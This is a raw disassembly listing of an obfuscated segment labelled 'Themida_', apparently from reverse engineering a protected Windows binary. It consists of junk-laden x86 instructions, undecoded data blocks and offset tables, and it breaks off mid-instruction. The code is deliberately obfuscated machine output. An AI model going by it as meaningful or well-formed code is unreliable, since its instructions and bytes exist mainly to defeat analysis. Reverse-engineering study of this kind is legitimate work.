Themida_:00546B11j push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] jmp loc_54790D ; --------------------------------------------------------------------------- dw 0D0BFh dd 31360B7Eh, 0E904247Ch, 0FFFF5F05h, 5C240487h, 0FF6E68E9h dd 24248BFFh, 240CD366h, 411AE99Ch, 0BA52FFFFh, 25A265F0h dd 0FFCB22E9h, 9C5066FFh, 0FF4107E9h, 0BA525EFFh, 5720249Ah dd 0E7E9D329h db 77h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F927: ; CODE XREF: Themida_:00545947j shl ecx, 7 add ecx, 426728BDh xor ecx, 0AA77B7D9h xor esi, ecx jmp loc_54C383 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 83C0E904h, 0EE81FFFFh, 679B24F6h, 4C6815Ah, 0E9000000h dd 0FFFF9A79h, 24048B66h, 1D7A68h, 0CA7AE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F966: ; CODE XREF: Themida_:00549513j dec ecx dec ecx add ecx, 0DE63B7Fh jmp loc_54BC12 ; --------------------------------------------------------------------------- db 1 dd 354F05F0h, 348B4484h, 4C48324h, 5C240487h, 0F66F1F6h dd 8952CCB6h, 4C281E2h, 83000000h, 3C8904ECh, 2BF24h, 0FA290000h dd 5F2434FFh, 0FFCB94E9h, 555758FFh, 0A5216DBDh, 1F4CBF16h dd 0A1E9419Eh, 80FFFF69h, 5253E3F2h, 0FFFE08E9h, 6656BFFFh dd 0B1E971ABh, 5EFFFFA4h, 0FF404BE9h, 0B6CE81FFh, 812E9C7Ah dd 0F4615FC6h, 5EF201DEh, 0F751CA87h, 87592414h, 0E3C281CAh dd 1B800B5h, 2434FFD3h, 4C4835Ah, 0FFFD3AE9h, 24048FFFh dd 0FF7F72E9h db 0FFh ; --------------------------------------------------------------------------- loc_54FA09: ; CODE XREF: Themida_:00546F86j pop esp add dx, 5480h add ax, 0D6h sub ax, 699Ah add ax, dx add ax, 699Ah jmp loc_54D183 ; --------------------------------------------------------------------------- db 35h dd 2839B7C6h, 34FFC289h, 0C4815824h, 4, 159CA01h, 8B028BFAh dd 0C4812414h, 4, 1FDE6851h, 0A6E979CBh, 68FFFF94h, 5C9D7BA6h dd 0FF4D9DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54FA59: ; CODE XREF: Themida_:00546D80j or eax, ebp push dword ptr [esp] jmp loc_544F95 ; --------------------------------------------------------------------------- loc_54FA63: ; CODE XREF: Themida_:0054E475j xor edx, 5D303BD3h mov ebx, edx pop edx jmp loc_54F5F6 ; --------------------------------------------------------------------------- loc_54FA71: ; CODE XREF: Themida_:005472CBj push 6E37h mov [esp], ebx mov ebx, 401C7AEFh sub [esp+8], ebx mov ebx, [esp] add esp, 4 push dword ptr [esp] pop ebp add esp, 4 pop dword ptr [edi+24h] loc_54FA98: ; CODE XREF: Themida_:0054EAA2j push 4720h mov [esp], edx mov edx, ebx sub esp, 4 mov [esp], ebp mov ebp, edx sub esp, 4 mov [esp], ebp pop eax mov ebp, [esp] sub esp, 4 mov [esp], eax mov eax, esp jmp loc_545DED ; --------------------------------------------------------------------------- db 0FFh dd 505B2434h, 0A8E95854h, 80FFFF77h, 0F188DFF6h, 0FECFB25Ah dd 0B65DE9C2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FAE2: ; CODE XREF: Themida_:0054B7B7j push esi pop ecx push esi mov esi, ecx jmp loc_54A231 ; --------------------------------------------------------------------------- dd 4EC81h, 1C890000h, 0E9E38924h, 0FFFFB592h, 24148B66h dd 66EA68h, 24348900h, 0E955E689h, 0FFFF9B75h, 8124348Bh dd 4C4h, 75C0E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FB1E: ; CODE XREF: Themida_:0054A617j add eax, ecx jmp loc_5445C9 ; --------------------------------------------------------------------------- db 66h, 0FFh, 32h dd 0FF3EF3E9h, 53EE80FFh, 0FFE082E9h, 0C8750FFh, 87D1F724h dd 34FF240Ch, 24048B24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_544770 ; --------------------------------------------------------------------------- loc_54FB52: ; CODE XREF: Themida_:0054BF9Dj inc ecx jmp loc_5479ED ; --------------------------------------------------------------------------- loc_54FB58: ; CODE XREF: Themida_:0054B4A2j xchg ebp, [esp] pop esp shl esi, 5 xor esi, 10020004h add ecx, esi pop esi add ecx, 4 xor ecx, [esp] jmp loc_54D925 ; --------------------------------------------------------------------------- loc_54FB76: ; CODE XREF: Themida_:0054EA2Aj xor [esp], eax xor eax, [esp] pop esp jmp loc_543A20 ; --------------------------------------------------------------------------- loc_54FB82: ; CODE XREF: Themida_:00549D25j and ebx, 63D97DC7h sub ebx, 210921A6h mov edx, ebx pop ebx push eax sub esp, 4 mov [esp], edx mov edx, 339F620Ah mov eax, edx pop edx sub edx, eax pop eax add edx, edi add edx, 339F620Ah push dword ptr [edx] jmp loc_54F4EC ; --------------------------------------------------------------------------- db 56h, 0BEh, 95h dd 0E93E2D2Ch, 0FFFFBDEEh, 0C281E289h, 4, 6187B951h, 0E1815769h dd 704D0C49h, 5802C981h, 81493484h, 32A802C1h, 59CA018Bh dd 5C241487h, 0E904C483h, 0FFFFEC64h, 7FFE0304h, 0FFFF9BCCh dd 0FFFF9BC8h, 546B08EBh, 5A7468h, 5A1C2Bh, 0FA50BC74h dd 207h, 2, 2 dup(1), 0FA50BC74h, 5 dup(0) dd offset word_559C96 dd offset word_56067E dd offset byte_55DEC3 dd offset dword_55FD68 dd offset word_55CA72 dd offset byte_561CA1 dd offset aNh0_0 ; "hÔ0" dd offset byte_564A9D dd offset word_563B4A dd offset byte_550DA9 dd offset byte_562EED dd offset byte_560513 dd offset dword_556254 dd offset byte_556E91 dd offset dword_559CB8 dd offset word_561426 dd offset off_558855 dd offset byte_5648AD dd offset word_55FED2 dd offset byte_552B81 dd offset byte_55D273 dd offset aQs ; "QéÁ(" dd offset dword_5619D8 dd offset byte_55E4E1 dd offset dword_55B160 dd offset dword_55FD0C dd offset byte_5523EB dd offset byte_558DCB dd offset dword_55EDDC dd offset dword_5539BC dd offset dword_5509E0 dd offset word_55075E dd offset off_55F1FF dd offset byte_555C49 dd offset word_557C26 dd offset byte_55D247 dd offset dword_55C8E0 dd offset byte_553A55 dd offset dword_55204C dd offset word_563D72 dd offset dword_5539C4 dd offset byte_550827 dd offset word_55A926 dd offset word_55E6DA dd offset byte_55CD97 dd offset dword_5582E8 dd offset word_563512 dd offset word_560492 dd offset word_551D76 dd offset aMrRaHsmi ; "¬R²€êHémI" dd offset byte_564C8D dd offset dword_55C63C dd offset word_55F962 dd offset byte_557B0B dd offset byte_5565A3 dd offset dword_5579A8 dd offset byte_559855 dd offset byte_5653FD dd offset word_561AC2 dd offset aMqhr ; "¬Qhà\a" dd offset byte_5581F1 dd offset byte_559B7F dd offset byte_5509C5 dd offset byte_564907 dd offset byte_550313 dd offset dword_552A48 dd offset byte_5641C5 dd offset byte_5569F3 dd offset dword_551900 dd offset dword_555D50 dd offset byte_5542C5 dd offset byte_558955 dd offset dword_561234 dd offset dword_55C37C dd offset word_556EF2 dd offset word_55ADAE dd offset aMh ; "¬hÃ~" dd offset byte_564273 dd offset word_55F606 dd offset dword_56235C dd offset byte_551AC3 dd offset dword_5584E0 dd offset byte_55B7F3 dd offset word_55D23E dd offset byte_55F31F dd offset word_550BAE dd offset byte_55DCB5 dd offset word_55F552 dd offset word_553042 dd offset byte_555303 dd offset dword_5626C4 dd offset byte_5554C7 dd offset byte_556665 dd offset aN1Ha ; "1Øh]" dd offset word_565576 dd offset dword_55CAEC dd offset byte_553675 dd offset word_55A932 dd offset byte_55BD0B dd offset byte_554B03 dd offset word_55E8C6 dd offset word_55145E dd offset dword_555838 dd offset dword_55C0C4 dd offset byte_559675 dd offset dword_5627E4 dd offset byte_558997 dd offset dword_563934 dd offset dword_5517AC dd offset byte_550D3F dd offset byte_55FB99 dd offset dword_5564DC dd offset byte_550AB7 dd offset word_55E69E dd offset word_55EF06 dd offset dword_550040 dd offset byte_558AE9 dd offset dword_55C488 dd offset byte_55A7D3 dd offset dword_553594 dd offset aNh4 ; "h4+" dd offset byte_55D4EF dd offset dword_5587BC dd offset word_55D70E dd offset byte_5535A1 dd offset dword_557C0C dd offset word_55E92E dd offset aNsP ; "é#¯" dd offset byte_5540E9 dd offset dword_560D7C dd offset word_550AFE dd offset byte_555AF1 dd offset byte_555BCD dd offset dword_55B720 dd offset aNups6 ; "UPé6š" dd offset dword_558CFC dd offset dword_559078 dd offset byte_55F9D9 dd offset byte_5543C3 dd offset word_55C54E dd offset dword_55F724 dd offset word_551D6E dd offset byte_55182D dd offset byte_555A85 dd offset byte_563B9F dd offset word_551D02 dd offset aM0Hr ; "¬0Øhr-" dd offset byte_553555 dd offset byte_55DA6D dd offset byte_555E3F dd offset byte_55AE1B dd offset word_555066 dd offset byte_5618AF dd offset word_563486 dd offset dword_55E7F8 dd offset word_559776 dd offset byte_5626A5 dd offset word_55575A dd offset byte_561F3D dd offset dword_563708 dd offset word_5506FA dd offset dword_551B08 dd offset word_556FC6 dd offset byte_55C171 dd offset byte_5539E1 dd offset dword_553370 dd offset word_558332 dd 0E8FC9C60h, 0 dd 64EF815Fh, 8B060442h, 7CC781C7h, 3B06043Fh, 2752C47h dd 478913EBh, 0A7B92Ch, 5EB0000h, 408F4401h, 75C90B49h dd 24748BF7h, 3DE8B24h, 1B9F0h, 0C0330000h, 4FB10FF0h db 30h, 75h, 0F7h ; --------------------------------------------------------------------------- loc_54FF17: ; CODE XREF: Themida_:0055002Ej ; Themida_:0055192Bj ... lodsb xor al, bl push ecx jmp loc_5653C3 ; --------------------------------------------------------------------------- loc_54FF20: ; CODE XREF: Themida_:005569EEj or eax, ebx pop ebx push edx push 850281C3h pop edx push esi mov esi, 39B06C95h sub eax, esi mov esi, [esp] add esp, 4 add eax, 59642928h add eax, edx sub eax, 59642928h add eax, 39B06C95h jmp loc_552915 ; --------------------------------------------------------------------------- loc_54FF4E: ; CODE XREF: Themida_:00554BD4j pop esi jmp loc_560DFE ; --------------------------------------------------------------------------- dd 24048F54h, 5EE168h, 240C8900h, 385EE9h, 4FE18100h, 0E948791Ah dd 40D1h ; --------------------------------------------------------------------------- loc_54FF70: ; CODE XREF: Themida_:00551BF9j add esp, 4 add eax, edi mov ecx, [eax] pop eax jmp loc_55D815 ; --------------------------------------------------------------------------- loc_54FF80: ; CODE XREF: Themida_:0055EB78j push ecx mov ecx, 5E44601Ah shr ecx, 8 not ecx not ecx push ecx push ebx jmp loc_5620DA ; --------------------------------------------------------------------------- aLbk?s db '¾‹bK?éÆÄ',0 align 2 loc_54FF9E: ; CODE XREF: Themida_:00557279j mov edi, esp push edx mov edx, 7CAC40CDh push ebp mov ebp, 5DD0500Dh jmp loc_552728 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 81000000h, 4C7h, 0B07E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54FFC2: ; CODE XREF: Themida_:00558F03j add edx, 34865EEAh jmp loc_5638F4 ; --------------------------------------------------------------------------- aSqi db '^éQˆ',0 db 0 ; --------------------------------------------------------------------------- loc_54FFD3: ; CODE XREF: Themida_:00561066j mov edx, 13192E75h push edi jmp loc_5518D3 ; --------------------------------------------------------------------------- loc_54FFDE: ; CODE XREF: Themida_:0055CA51j pop ebp jmp loc_559D86 ; --------------------------------------------------------------------------- dd 0C781E789h, 4, 8704EF83h, 895C243Ch, 0DCBB241Ch, 83232F32h dd 0E3C1FFEBh, 0ADB85002h, 0E910C00Eh, 14A13h, 815EF209h dd 1FFBDAEAh, 2FEF8142h, 51172F5Fh, 1103E9h db 0 ; --------------------------------------------------------------------------- loc_550021: ; CODE XREF: Themida_:00551B3Ej xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov fs:[edx], ax jmp loc_54FF17 ; --------------------------------------------------------------------------- loc_550033: ; CODE XREF: Themida_:0055C1CEj sub edx, eax jmp loc_55B865 ; --------------------------------------------------------------------------- loc_55003A: ; CODE XREF: Themida_:0055BA32j push edx jmp loc_559DB2 ; --------------------------------------------------------------------------- dword_550040 dd 240C8B66h, 815E5456h, 4C6h, 4EE8300h, 4BFCE9h ; DATA XREF: Themida_:0054FE00o db 0 ; --------------------------------------------------------------------------- loc_550055: ; CODE XREF: Themida_:00554308j pop eax add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], eax push 73326D49h jmp loc_55FDF7 ; --------------------------------------------------------------------------- loc_550071: ; CODE XREF: Themida_:0055AB2Fj mov ebp, [esp] add esp, 4 push dword ptr [esp] mov ecx, [esp] add esp, 4 push 4901h mov [esp], ecx mov ecx, esp add ecx, 4 push edi jmp loc_554D0F ; --------------------------------------------------------------------------- dd 5624148Bh, 0C681E689h, 4, 0DF07E9h db 0 ; --------------------------------------------------------------------------- loc_5500AD: ; CODE XREF: Themida_:00562F29j mov bh, dl jmp loc_56483F ; --------------------------------------------------------------------------- loc_5500B4: ; CODE XREF: Themida_:00557D2Cj add ebx, 4 xor ebx, [esp] jmp loc_55FDE4 ; --------------------------------------------------------------------------- dw 0C2FEh dd 0EAD0DAF6h, 8050EA80h, 0E5E90BECh, 81000132h, 4C4h dd 8B95100h, 0E9241778h, 5B3Bh, 4F69E95Dh, 0C4810000h dd 4, 6A0468h, 243C8900h, 63D86852h, 815A67FAh, 272813CAh dd 4AE95520h db 0E7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55010B: ; CODE XREF: Themida_:0055E5CAj pop edx sub edx, 7C153843h jmp loc_55D3FF ; --------------------------------------------------------------------------- db 53h dd 0C381E389h, 4, 4C381h, 1C870000h, 24248B24h, 0E904C483h dd 0FFFFFDE3h, 0CD81D5F7h, 3FAE01D5h, 0FD3CE9h db 0 ; --------------------------------------------------------------------------- loc_550141: ; CODE XREF: Themida_:00551828j mov edx, 31EC7258h inc edx add edx, 357D9B90h add ebx, 52957130h sub ebx, edx sub ebx, 52957130h pop edx add ecx, ebx pop ebx sub esp, 4 mov [esp], ebx mov ebx, 7DC15130h jmp loc_55BE25 ; --------------------------------------------------------------------------- loc_550172: ; CODE XREF: Themida_:00553832j push 3C764F59h pop ecx shr ecx, 7 dec ecx add ecx, 4EEA8A5Eh mov edi, ecx jmp loc_55F28F ; --------------------------------------------------------------------------- db 28h, 0C7h, 58h dd 0CFFE5966h, 63B151h, 0BE959CFh db 72h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55019B: ; CODE XREF: Themida_:00558E70j mov bh, al mov eax, [esp] jmp loc_554DC0 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C4815Eh, 81000000h, 4C6h, 4C68300h, 0E9243433h, 13A72h dd 0C681C629h, 6A3231AEh, 24348758h, 114D1E9h, 240C3100h dd 8B240C33h, 0FF662424h, 0E99C240Ch, 0FFFFFD33h, 8008E7C0h dd 5266FFC7h, 44FDE9h db 0 ; --------------------------------------------------------------------------- loc_5501F1: ; CODE XREF: Themida_:0055ADF0j add ebp, 4 xor ebp, [esp] jmp loc_55AF76 ; --------------------------------------------------------------------------- aFiSF db 'f‰ÃéÛf',0 align 4 dd 8758C201h, 535C2414h, 0B55160B3h, 0F0ED80F0h, 5AE9D5F6h db 0DBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55021B: ; CODE XREF: Themida_:00554D31j mov eax, esi pop esi jmp loc_5654DD ; --------------------------------------------------------------------------- db 8Fh dd 71E92404h, 560000E6h, 346346BEh, 4EC833Eh, 0BA241489h dd 7BA02CF0h, 148BD629h, 4C48124h, 0C1000000h, 0D6F703EEh dd 4591BA52h, 0EAC16482h, 4A1E908h, 0CF010001h, 0FFC2E953h dd 1590000h, 0FF515FF9h, 59042474h, 10502E9h, 0BF575B00h dd 4, 875FF901h, 0E95C240Ch, 0BF10h, 4C281h, 0C2830000h dd 24148704h, 4EC815Ch, 0E9000000h, 0B081h, 797275BEh dd 116DE941h, 8B660001h, 6852241Ch, 2BC9h, 83242489h, 5A042404h dd 4DB1E9h, 7E0C100h, 4A8CE9h, 0A7E95C00h, 0F7000077h dd 3BEE9DFh, 1BB90000h, 0E9305039h, 11C88h, 0B3241C89h dd 6EC38076h, 0E93FF380h, 111A0h, 3FC5805Ah, 0ED80DD28h dd 241C8B3Fh, 4C481h, 0EB280000h, 66B3E9h db 0 ; --------------------------------------------------------------------------- loc_550305: ; CODE XREF: Themida_:00550A23j sub edx, 9610756h sub esi, edx pop edx jmp loc_561A6D ; --------------------------------------------------------------------------- byte_550313 db 0ACh ; DATA XREF: Themida_:0054FD34o dd 1F68D830h, 89000001h, 6CB22414h, 34FFD028h, 59685A24h dd 0E900006Fh, 0BC85h ; --------------------------------------------------------------------------- loc_550330: ; CODE XREF: Themida_:0055677Dj pop ecx push edx mov edx, esp add edx, 4 push esi mov esi, 2F142042h shr esi, 2 neg esi jmp loc_55B5C3 ; --------------------------------------------------------------------------- loc_55034A: ; CODE XREF: Themida_:00557424j mov ebx, [esp] push edi mov edi, esp add edi, 4 push esi mov esi, 5C7E6AD3h jmp loc_55FF18 ; --------------------------------------------------------------------------- loc_550361: ; CODE XREF: Themida_:00556A45j sub edx, ebp sub edx, 24353050h pop ebp jmp loc_55DFFE ; --------------------------------------------------------------------------- db 5Eh dd 3F0EEA81h, 0C2012393h, 3F0EC281h, 81582393h, 4ECh, 241C8900h dd 4BBh, 0E9DA2900h, 14E4Fh, 0DAC6E958h, 0EC810000h, 4 dd 12192E9h db 0 ; --------------------------------------------------------------------------- loc_5503A5: ; CODE XREF: Themida_:0055A96Ej push ebx mov ebx, 0B295CC4h jmp loc_55A38A ; --------------------------------------------------------------------------- dd 0E904EC83h, 0BEE9h, 1366C4B9h, 0BDE1815Ch, 680A8903h dd 0 dd 0F2D5E9h db 0 ; --------------------------------------------------------------------------- loc_5503CD: ; CODE XREF: Themida_:00560975j xchg edi, [esp] pop esp mov [esp], esi mov esi, esp add esi, 4 sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], ebp push edi mov edi, 4 mov ebp, edi pop edi push 4E79h mov [esp], ebp add dword ptr [esp], 626E1FBCh jmp loc_55A2F3 ; --------------------------------------------------------------------------- db 81h, 0C3h, 0E2h dd 81766F79h, 0C53FA0C3h, 0B9515D70h, 4, 5EE7C381h, 0CB013AE5h dd 5EE7EB81h, 0C8B3AE5h, 4C48124h, 0E9000000h, 14AF0h dd 282C2EBEh, 0BFFE923h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55043E: ; CODE XREF: Themida_:00551A1Bj sub esp, 4 jmp loc_5603F8 ; --------------------------------------------------------------------------- loc_550446: ; CODE XREF: Themida_:00551A11j push edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ecx mov cl, 67h push ax mov al, 5 add cl, al pop ax sub esp, 4 mov [esp], ebx jmp loc_560A7D ; --------------------------------------------------------------------------- loc_55047D: ; CODE XREF: Themida_:00552E84j add edx, 4 push ebp mov ebp, 7B0D3FD3h add ebp, 2A595AF3h add ebp, 62303BAAh add ebp, 1 jmp loc_55C77C ; --------------------------------------------------------------------------- aFrW db '(ÃfR¶w',0 db 0F3h aFzxqAa?IyiSn db 'fZXQµÛ€í?(ëYˆØ[éN',0Ah,0 align 4 dd 835BDD01h, 2C8904ECh, 2474FF24h, 0C2E95D04h, 8B000011h dd 5451240Ch, 81240C8Bh, 4C4h, 0DBE95000h, 89000133h, 129E90Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5504EA: ; CODE XREF: Themida_:00550B63j mov edx, 78C559BEh sub esp, 4 jmp loc_554813 ; --------------------------------------------------------------------------- dw 8B58h dd 8951240Ch, 4C181E1h, 0E9000000h, 0C2CFh, 8324148Bh dd 0C33004C4h, 66C0B60Fh, 0E9183468h, 11F46h, 260EF1BBh dd 17C8E914h, 2C890000h, 4EC8124h, 89000000h, 0CCE92424h db 0FBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55053B: ; CODE XREF: Themida_:005625F4j push eax mov eax, 4F477A46h shl eax, 4 xor eax, 0F477A464h add edx, eax mov eax, [esp] add esp, 4 push esi mov esi, 93323CDh sub esi, 2340164Ah dec esi jmp loc_550B9B ; --------------------------------------------------------------------------- db 0BFh dd 4, 96F8E9h db 0 ; --------------------------------------------------------------------------- loc_55056D: ; CODE XREF: Themida_:00555A95j mov bh, 0D1h inc bh jmp loc_556545 ; --------------------------------------------------------------------------- dw 0DDBDh dd 314FBD3Fh, 77895DEEh, 2C8B5E20h, 4EC8324h, 0E9241C89h dd 1344Bh ; --------------------------------------------------------------------------- loc_550590: ; CODE XREF: Themida_:00564B93j pop esp mov [esp], ebp mov ebp, ebx push esi mov esi, esp push ebp mov ebp, 329973D1h add ebp, 59C24949h push 4D03h mov [esp], ebx mov ebx, 8C5BBD1Eh xor ebp, ebx pop ebx add esi, ebp pop ebp jmp loc_552722 ; --------------------------------------------------------------------------- db 21h, 0D0h, 0E9h dd 142C5h, 7E1ACD81h, 0ED815A62h, 7E7B7E36h, 40C9E9h, 4C48100h dd 68000000h, 6163h, 89243489h, 27FC68CEh, 34890000h, 48D3E924h dd 0EF680001h, 0E95D327Fh, 644Eh, 0E828C42Ch, 0C8BC404h dd 46E95124h, 89000010h, 3DE92404h, 8B000014h, 0C481241Ch dd 4, 0FFF8F6E9h, 81DEF7FFh, 0A1CFF1F6h, 0FFF501A1h, 348B2434h dd 36DFE924h, 91040000h, 0FFFECFE9h db 0FFh ; --------------------------------------------------------------------------- loc_55063D: ; CODE XREF: Themida_:00559EC4j mov esp, [esp] add esp, 4 or eax, eax jnz loc_558546 push ecx mov ecx, 15C5792Ah push 4C71h mov [esp], ebx sub esp, 4 mov [esp], edx push ebx mov ebx, 57631227h mov edx, 166A6C91h xor edx, ebx push dword ptr [esp] pop ebx add esp, 4 and edx, 1BA61BAEh add edx, 516F2112h sub edx, 619667D8h inc edx neg edx jmp loc_55C890 ; --------------------------------------------------------------------------- dd 5200C781h, 0F7816DE0h, 2952D7F0h, 835FFA01h, 2EE904ECh dd 0F7000031h, 0C78147D7h, 0D471BFB5h, 355FF821h, 18043810h dd 6F04EA81h, 0C2010146h, 6F04C281h, 0E9580146h, 0DF48h dd 4F86685Bh, 34890000h, 1A94E924h, 0E94D0000h, 0AFA6h ; --------------------------------------------------------------------------- loc_5506E0: ; CODE XREF: Themida_:00557BBDj sub edi, 0FFFFFFFFh push ebx jmp loc_56443C ; --------------------------------------------------------------------------- dd 2024F381h, 0D9014E54h, 2C29E95Bh db 2 dup(0) word_5506FA dw 8B66h ; DATA XREF: Themida_:0054FEB4o dd 0C468240Ch, 89000050h, 0D4682404h, 89000056h, 4812424h dd 424h, 0EC815800h, 4, 87E7E9h, 0E9ED8100h, 0F728EC3Eh dd 9AED81D5h, 8972507Ch, 37B85DEBh, 296D0377h, 0E8D15BD8h dd 7E8C148h, 62DA68h, 240C8900h, 185C6EB9h, 0E9C8096Bh dd 11B77h, 148BD589h, 3A20E924h db 1, 0 word_55075E dw 0E9ADh ; DATA XREF: Themida_:0054FCB0o dd 10E32h, 72B268h, 24148900h, 0B9515A54h, 4, 324AEA81h dd 0CA015598h, 10D31E9h, 0BE95B00h db 40h, 1, 0 ; --------------------------------------------------------------------------- loc_550787: ; CODE XREF: Themida_:0056411Fj push dword ptr [esp] mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], ecx push esp pop ecx add ecx, 4 add ecx, 4 jmp loc_559110 ; --------------------------------------------------------------------------- db 89h dd 4C781E7h, 50000000h, 4B8h, 58C72900h, 5C243C87h, 54243C89h dd 0FF5DE95Fh, 0C6010000h, 4EE8358h, 5C243487h, 0BA241489h dd 1818124Ah, 137EE9h, 243BF00h, 0F801427Ah, 2DD0015Fh dd 427A0243h, 5A2434FFh, 0E9E68956h, 0F36h, 4BC968h, 0AC5E900h dd 14890000h, 38B95124h, 89351960h, 0BA5259CAh, 4DA10681h dd 66FAE281h, 0AAE929F3h db 38h, 2 dup(0) byte_550827 db 0FFh ; DATA XREF: Themida_:0054FCD8o dd 48B2434h, 73516824h, 3C890000h, 3E6A6824h, 0D7E90000h dd 890000E0h, 0F30158C6h, 0CFD6E9h, 0EB814300h, 561865EAh dd 1C8BDF89h, 4C48324h, 0B1F3E955h, 0C1590000h, 0DEF704EEh dd 323CF681h, 8CE9BF15h, 59000059h, 0C6D3E9h, 4EC8300h dd 2E32E9h db 0 ; --------------------------------------------------------------------------- loc_55087D: ; CODE XREF: Themida_:0055FCEDj push esi jmp loc_556AC1 ; --------------------------------------------------------------------------- loc_550883: ; CODE XREF: Themida_:005654C2j add esp, 4 mov [edi+20h], ebp push dword ptr [esp] pop ebp jmp loc_55E8E8 ; --------------------------------------------------------------------------- loc_550895: ; CODE XREF: Themida_:00553429j mov ebp, 474D4191h not ebp shr ebp, 4 add ebp, 0A4F1F4Eh xor esi, ebp pop ebp mov ecx, esi pop esi push edi jmp loc_550F9E ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 83000000h, 1C8704C3h, 6622E924h, 0E9570000h, 11D74h dd 7F173BBBh, 0E9DE313Ch, 0FC4Eh, 24043359h, 0D788E9h dd 1FD9B900h, 0E9C168ADh, 57FEE908h, 0BE560000h, 4, 335EF329h dd 1C31241Ch, 241C3324h, 2404895Ch, 4B8h, 0C1BE5600h, 0C148425Bh dd 814605E6h, 0AC0690EEh, 0C6814655h, 0A243CD71h, 348BF129h dd 4C48324h, 0FE23E9h, 0A3BD5500h, 2915A257h, 815A5DE9h dd 4ECh, 243C8900h, 4D1768h, 242C8900h, 4BDh, 5DEF8900h dd 34FFF901h, 0C1E95F24h, 68000048h, 385Bh, 0A434E9h, 0E930FF00h dd 0FFFFF5AFh, 0EACC781h, 69E905D7h db 0D1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_550973: ; CODE XREF: Themida_:00564AE9j add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp push esp pop dword ptr [esp] jmp loc_557DF3 ; --------------------------------------------------------------------------- loc_55098C: ; CODE XREF: Themida_:0055248Bj sub eax, ebx push esi jmp loc_554657 ; --------------------------------------------------------------------------- dd 4C48159h, 30000000h, 1C8B66D8h, 2C48324h, 23B75351h dd 0D71DE9h db 0 ; --------------------------------------------------------------------------- loc_5509AD: ; CODE XREF: Themida_:0055F5B8j xor edx, [esp] mov esp, [esp] add [edi+24h], eax push dword ptr [esp] jmp loc_559EF0 ; --------------------------------------------------------------------------- dw 0D601h dd 113D7E9h db 0 byte_5509C5 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0054FD2Co dd 41FE924h, 28B80000h, 0C1039056h, 0F70508E8h, 0E973175Dh dd 0BA11h dword_5509E0 dd 24048B66h, 26146850h, 8F540000h, 0BD552404h, 4, 4244481h ; DATA XREF: Themida_:0054FCACo dd 7EE03D0h, 4246C01h, 13932E9h, 61BF5700h, 0E904D164h dd 0FFFFFEB2h ; --------------------------------------------------------------------------- loc_550A10: ; CODE XREF: Themida_:0055BC64j pop edx push edx mov edx, 7797203Ah xor edx, 1E00B58h xor edx, 4A7830F5h jmp loc_550305 ; --------------------------------------------------------------------------- loc_550A28: ; CODE XREF: Themida_:00554A96j add ebx, ecx jmp loc_5560A6 ; --------------------------------------------------------------------------- db 87h dd 305C240Ch, 0C0B60FC3h, 0E98734FFh, 0FFFFF4D7h, 0C381CB29h dd 94673ECh, 592434FFh, 4C481h, 0EB810000h, 553F2E6Bh dd 0E930FF66h, 0FFFFF4B7h, 875DE829h, 24E92404h, 6600004Dh dd 0B7241C89h, 66FA3085h, 7E2C05Bh, 0F6DCB353h, 0CAF380DBh dd 6F83E950h, 0EDC10000h, 3BF58105h, 123284Ch, 242C8BEBh dd 4B04C483h, 0A194E9h, 92DAF700h, 0A8685257h, 5A42E973h dd 12F87E9h, 65C26800h, 91E90000h db 42h, 1, 0 byte_550AB7 db 0FFh ; DATA XREF: Themida_:0054FDF4o dd 0F459E932h, 0C781FFFFh, 0EA44775h, 9A50E9h, 243C8700h dd 2BE565Ch, 1000000h, 3C335EF7h, 243C3124h, 0E16FE9h dd 5F595700h, 403CE9h, 0C6805900h, 0F6CEFE8Bh, 80C680D6h dd 45AF028h, 41AE91Ah db 2 dup(0) word_550AFE dw 0E9ADh ; DATA XREF: Themida_:0054FE3Co dd 13B8Dh, 1489665Ch, 9C506624h, 0FFF406E9h, 24048BFFh dd 4C481h, 34870000h, 0AB05E924h, 89500000h, 0D5BD55E0h dd 0E968F602h, 8B58h ; --------------------------------------------------------------------------- loc_550B30: ; CODE XREF: Themida_:00551BBAj pop ebx neg ebp add ebp, 7F361996h shl ebp, 7 sub ebp, 32FF90E4h xor edi, ebp pop ebp jmp loc_55A274 ; --------------------------------------------------------------------------- dw 0E789h dd 4BB53h, 0DF010000h, 46B3E95Bh, 48F0000h, 13FAE924h db 1, 0 ; --------------------------------------------------------------------------- loc_550B62: ; CODE XREF: Themida_:0055C8BEj push edx jmp loc_5504EA ; --------------------------------------------------------------------------- dd 3E4DC5BDh, 0E9EA0136h, 1391h ; --------------------------------------------------------------------------- loc_550B74: ; CODE XREF: Themida_:00552C36j pop esi pop dword ptr [esp] pop esp sub esp, 4 jmp loc_5582B6 ; --------------------------------------------------------------------------- loc_550B81: ; CODE XREF: Themida_:00556386j add al, 5Eh add al, cl sub al, 5Eh pop cx add al, 41h sub al, 0FFh jmp loc_55FBE3 ; --------------------------------------------------------------------------- loc_550B92: ; CODE XREF: Themida_:00565276j sub edx, ecx mov ecx, edx jmp loc_560077 ; --------------------------------------------------------------------------- loc_550B9B: ; CODE XREF: Themida_:0055055Ej dec esi dec esi xor esi, 7F6E2EA4h sub esi, 